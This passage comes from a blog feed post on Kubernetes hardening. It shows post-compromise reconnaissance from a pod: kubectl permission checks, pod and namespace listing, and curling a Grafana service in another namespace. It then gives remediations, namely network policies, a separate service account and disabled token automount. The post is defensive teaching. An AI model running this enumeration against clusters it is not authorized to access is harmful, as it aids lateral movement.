&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mv &lt;/span&gt;kubectl /opt
&lt;span class="nb"&gt;cd&lt;/span&gt; /opt
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x kubectl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Enumerate Kubernetes
&lt;/h3&gt;

&lt;p&gt;Now that we're ready to investigate the system a bit closer let's start by looking at the currently available permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./kubectl auth can-i &lt;span class="nt"&gt;--list&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Turns out, we have a few different things we can do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Resources                                       Non-Resource URLs                     Resource Names     Verbs
selfsubjectaccessreviews.authorization.k8s.io   &lt;span class="o"&gt;[]&lt;/span&gt;                                    &lt;span class="o"&gt;[]&lt;/span&gt;                 &lt;span class="o"&gt;[&lt;/span&gt;create]
selfsubjectrulesreviews.authorization.k8s.io    &lt;span class="o"&gt;[]&lt;/span&gt;                                    &lt;span class="o"&gt;[]&lt;/span&gt;                 &lt;span class="o"&gt;[&lt;/span&gt;create]
namespaces                                      &lt;span class="o"&gt;[]&lt;/span&gt;                                    &lt;span class="o"&gt;[]&lt;/span&gt;                 &lt;span class="o"&gt;[&lt;/span&gt;get list]
pods                                            &lt;span class="o"&gt;[]&lt;/span&gt;                                    &lt;span class="o"&gt;[]&lt;/span&gt;                 &lt;span class="o"&gt;[&lt;/span&gt;get list]
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output above indicates we can see namespaces and pods. Listing all pods returns this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./kubectl get pods
NAME                                  READY   STATUS    RESTARTS        AGE
operator-56854d79f9-7xj49             1/1     Running   1 &lt;span class="o"&gt;(&lt;/span&gt;7m45s ago&lt;span class="o"&gt;)&lt;/span&gt;   67m
syringe-deployment-7d4bf479f5-qbnmq   1/1     Running   0               72m
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We see the syringe pod, which is our current pod. It seems there's also some &lt;a href="https://kubernetes.io/docs/concepts/extend-kubernetes/operator/"&gt;operator&lt;/a&gt; running.&lt;/p&gt;

&lt;p&gt;Looking at namespaces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./kubectl get ns
NAME              STATUS   AGE
default           Active   8d
grafana           Active   43m
kube-node-lease   Active   8d
kube-public       Active   8d
kube-system       Active   8d
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our current pod is one of many tenants. Besides system namespaces and &lt;code&gt;default&lt;/code&gt;, there's also &lt;code&gt;grafana&lt;/code&gt;. Some probing reveals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-XGET&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; http://grafana.grafana.svc.cluster.local:3000
Note: Unnecessary use of &lt;span class="nt"&gt;-X&lt;/span&gt; or &lt;span class="nt"&gt;--request&lt;/span&gt;, GET is already inferred.
&lt;span class="k"&gt;*&lt;/span&gt;   Trying 10.100.173.100:3000...
&lt;span class="k"&gt;*&lt;/span&gt; Connected to grafana.grafana.svc.cluster.local &lt;span class="o"&gt;(&lt;/span&gt;10.100.173.100&lt;span class="o"&gt;)&lt;/span&gt; port 3000 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="c"&gt;#0)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET / HTTP/1.1
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Host: grafana.grafana.svc.cluster.local:3000
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; User-Agent: curl/7.88.1
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Accept: &lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&amp;lt; HTTP/1.1 302 Found
&amp;lt; Cache-Control: no-cache
&amp;lt; Content-Type: text/html&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;utf-8
&amp;lt; Expires: &lt;span class="nt"&gt;-1&lt;/span&gt;
&amp;lt; Location: /login
&amp;lt; Pragma: no-cache
&amp;lt; Set-Cookie: &lt;span class="nv"&gt;redirect_to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;%2F&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;Path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/&lt;span class="p"&gt;;&lt;/span&gt; HttpOnly&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;SameSite&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Lax
&amp;lt; X-Content-Type-Options: nosniff
&amp;lt; X-Frame-Options: deny
&amp;lt; X-Xss-Protection: 1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;block
&amp;lt; Date: Thu, 07 Sep 2023 20:52:12 GMT
&amp;lt; Content-Length: 29
&amp;lt;
&lt;span class="k"&gt;*&lt;/span&gt; Ignoring the response-body
&lt;span class="k"&gt;*&lt;/span&gt; Connection &lt;span class="c"&gt;#0 to host grafana.grafana.svc.cluster.local left intact&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt; Issue another request to this URL: &lt;span class="s1"&gt;'http://grafana.grafana.svc.cluster.local:3000/login'&lt;/span&gt;
&lt;span class="k"&gt;*&lt;/span&gt; Found bundle &lt;span class="k"&gt;for &lt;/span&gt;host: 0x558871016900 &lt;span class="o"&gt;[&lt;/span&gt;serially]
&lt;span class="k"&gt;*&lt;/span&gt; Can not multiplex, even &lt;span class="k"&gt;if &lt;/span&gt;we wanted to
&lt;span class="k"&gt;*&lt;/span&gt; Re-using existing connection &lt;span class="c"&gt;#0 with host grafana.grafana.svc.cluster.local&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; GET /login HTTP/1.1
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Host: grafana.grafana.svc.cluster.local:3000
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; User-Agent: curl/7.88.1
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; Accept: &lt;span class="k"&gt;*&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Cache-Control: no-cache
&amp;lt; Content-Type: text/html&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;charset&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;UTF-8
&amp;lt; Expires: &lt;span class="nt"&gt;-1&lt;/span&gt;
&amp;lt; Pragma: no-cache
&amp;lt; X-Content-Type-Options: nosniff
&amp;lt; X-Frame-Options: deny
&amp;lt; X-Xss-Protection: 1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;block
&amp;lt; Date: Thu, 07 Sep 2023 20:52:12 GMT
&amp;lt; Transfer-Encoding: chunked
....
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can access the service, even if it lives in another namespace, belonging to another application or team.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is accessing services in other namespaces problematic?
&lt;/h2&gt;

&lt;p&gt;As an attacker, we gained access to a Kubernetes cluster by leveraging a command injection vulnerability in an application.&lt;br&gt;
While we don't have cluster-admin permissions, running &lt;code&gt;kubectl&lt;/code&gt; revealed enough information to discover other services that can potentially be exploited.&lt;/p&gt;

&lt;p&gt;In this scenario, the other namespace contains a Grafana instance. Grafana could become another target to gain more access.&lt;br&gt;
Thinking further, what if, instead of Grafana, we discovered a database instance? Depending on how secrets are stored and managed within the cluster, gaining access and stealing sensitive customer data might be straightforward.&lt;br&gt;
Let's start making some changes to the system to prevent further access.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;The following steps will cover changes to the Kubernetes cluster itself to make it more difficult for attackers to gain access. In a real-world scenario, you would also ensure the application cannot be used as an attack vector by addressing the command injection vulnerability. &lt;/p&gt;
&lt;h3&gt;
  
  
  Restrict network access with network policies
&lt;/h3&gt;

&lt;p&gt;Kubernetes' default network policy allows every application to talk to any other application within the cluster. A single cluster might host several different tenants, and in most cases, these tenants don't need to communicate with each other.&lt;br&gt;
Therefore, we restrict network access to outbound domains and services that are needed. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note: Kubernetes requires a Network plugin to enforce network policies. We choose &lt;a href="https://docs.tigera.io/calico/3.25/getting-started/kubernetes/helm#install-calico"&gt;Calico&lt;/a&gt; for this scenario.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Apply the following rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f-&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny
  namespace: default
spec:
  podSelector: {}
  policyTypes:
  - Egress
  - Ingress
---
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny
  namespace: grafana
spec:
  podSelector: {}
  policyTypes:
  - Egress
  - Ingress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: egress-allow
spec:
  podSelector:
    matchLabels:
      app: syringe
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
  policyTypes:
    - Egress
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first two rules deny all network traffic, inbound, and output for the default and &lt;code&gt;grafana&lt;/code&gt; namespace.&lt;br&gt;
The last rule opens up traffic for outbound traffic leaving the cluster.&lt;br&gt;
If this cluster hosted any additional applications that needed to communicate with Grafana, these would require different network rules.&lt;/p&gt;
&lt;h3&gt;
  
  
  Sharing Users
&lt;/h3&gt;

&lt;p&gt;Using &lt;code&gt;kubectl&lt;/code&gt;, we could verify the syringe pod could communicate with the Kubernetes API Server.&lt;br&gt;
Since this pod only hosts regular application code, there's no need to extend privileges in the first place.&lt;/p&gt;

&lt;p&gt;Why does the pod have these permissions, though?&lt;/p&gt;

&lt;p&gt;Any pod running in Kubernetes has a &lt;a href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server"&gt;service account associated.&lt;/a&gt;&lt;br&gt;
The service account has certain privileges that determine if it can, for instance, access the API server to manage the cluster.&lt;br&gt;
Kubernetes assigns a default service account if no other account is specified in the deployment yaml configuration.&lt;br&gt;
In this case, both syringe and operator pods were deployed with the same account. &lt;/p&gt;

&lt;p&gt;This case is an excellent example of why sharing service accounts across several applications is dangerous. The service account might have started with zero privileges but received additional ones once the &lt;code&gt;operator&lt;/code&gt; pod started using it.&lt;/p&gt;

&lt;p&gt;To remedy the situation, we created a new service account without privileges and assigned it to syringe.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; - &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
apiVersion: v1
kind: ServiceAccount
metadata:
  name: syringe
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;kubectl apply &lt;span class="nt"&gt;-f-&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
apiVersion: apps/v1
kind: Deployment
metadata:
  name: syringe-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: syringe
  template:
    metadata:
      labels:
        app: syringe
    spec:
      serviceAccountName: syringe
      automountServiceAccountToken: false
      containers:
        - name: syringe
          image: ghcr.io/schultyy/syringe:latest
          imagePullPolicy: Always
          ports:
            - containerPort: 3000
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The next time we run &lt;code&gt;kubectl&lt;/code&gt; within the pod, we'll notice that we lack permission to see other pods and namespaces.&lt;/p&gt;

&lt;p&gt;We can even take this a step further. To authenticate with the API server, &lt;code&gt;kubectl&lt;/code&gt; uses a &lt;a href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#opt-out-of-api-credential-automounting"&gt;service token&lt;/a&gt;, automatically mounted into the pod.&lt;br&gt;
To reduce the potential to act even further, we can turn off auto-mounting this token in the first place via the via&lt;code&gt;automountServiceAccountToken: false&lt;/code&gt; key in the code snippet above.&lt;/p&gt;

&lt;h2&gt;
  
  
  Next Steps
&lt;/h2&gt;

&lt;p&gt;These are only the first steps towards a secure system. To summarize:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Make sure you define network rules to only allow necessary traffic&lt;/li&gt;
&lt;li&gt;Pods that don't need to interact with the API server don't need permissions&lt;/li&gt;
&lt;li&gt;Use separate service accounts for each deployment&lt;/li&gt;
&lt;li&gt;Follow &lt;a href="https://dev.to/ciscoemerge/building-secure-docker-images-for-production-best-practices-5d0f"&gt;best practices&lt;/a&gt; when building Docker images&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What other best practices do you use? Share them in the comments below.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>security</category>
    </item>
    <item>
      <title>Two approaches to make your APIs more secure</title>
      <dc:creator>Jan Schulte</dc:creator>
      <pubDate>Fri, 01 Sep 2023 18:59:29 +0000</pubDate>
      <link>https://forem.com/ciscoemerge/two-approaches-to-make-your-apis-more-secure-25mj</link>
      <guid>https://forem.com/ciscoemerge/two-approaches-to-make-your-apis-more-secure-25mj</guid>
      <description>&lt;p&gt;When you think about making your microservice architecture more secure, would you know where to start? There are so many ways to begin securing a system that it quickly becomes overwhelming.&lt;/p&gt;

&lt;p&gt;Also make sure to check out &lt;a href="https://dev.to/ciscoemerge/two-approaches-to-make-your-apis-more-secure-2kij"&gt;this post&lt;/a&gt; to read a written walk-through! &lt;/p&gt;

</description>
      <category>api</category>
      <category>apisecurity</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
